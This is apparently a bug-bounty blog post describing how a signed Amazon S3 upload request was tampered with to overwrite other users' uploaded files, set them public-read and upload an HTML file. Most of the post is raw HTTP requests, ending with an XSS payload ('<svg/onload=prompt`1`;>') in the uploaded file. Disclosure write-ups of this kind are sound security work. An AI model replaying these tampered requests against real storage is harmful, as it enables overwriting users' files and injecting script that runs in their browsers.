Abusing ACL Permissions to Overwrite other User’s Uploaded Files/Videos on s3 Bucket

Armaan Pathan
Dec 30, 2018 · 4 min read

Hi all, Today I am writing a blog about on a recent finding on HackerOne’s one of the program.
I was looking for IDORs in an application so I started fuzzing each and every request of an application, I got mentioned request

POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/home/xxx/test/upload
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Authorization: Bearer :
X-Example-Authorization: Bearer
Content-Length: 311
Connection: close
Cookie: {}
{"expiration":"2018-12-18T11:58:24.376Z","conditions":[{"acl":"private"},{"bucket":"example-web-upload-bucket"},{"Content-Type":""},{"success_action_status":"200"},{"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},{"x-amz-meta-qqfilename":"1.jpg"},["content-length-range","1","9007199254740992"]]}

So basically this was a request which is used to set a policy to upload a files on a s3 bucket and after this request i got below mentioned photo/video upload request.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"
text/html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy}
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------------1268156844136880633597812894--

This request was using the file upload policies which were generated in first request. So I tried to find that which other files exists on the s3 buckets which are currently used in an application, once i came to know some of the photo/video names which are on the same bucket, I tried to make a custom policy to upload unrestricted files on the bucket which will overwrite the existing files and also the ACL permissions were private so i wanted to replace it with public-read so each and every user on an application will get affected of this attack, So i tried to create a custom policy by changing below mentioned values in request.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"

-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
private
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy}
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------------1268156844136880633597812894--

As you can see in the screenshot, it has created the custom policy to upload html files which will over write the existing files on the server.

I used to the policy to file upload request, and the request looked like this.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"
text/html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy}
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.html"
Content-Type: text/html
<svg/onload=prompt`1`;>-----------------------------1268156844136880633597812894--

Now this request has uploaded unrestricted file on bucket by over writing the existing file and also abused the ACL permissions by giving the file public-read permissions.

Thats it :D
Thanks guys for reading. have a great day ahead.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store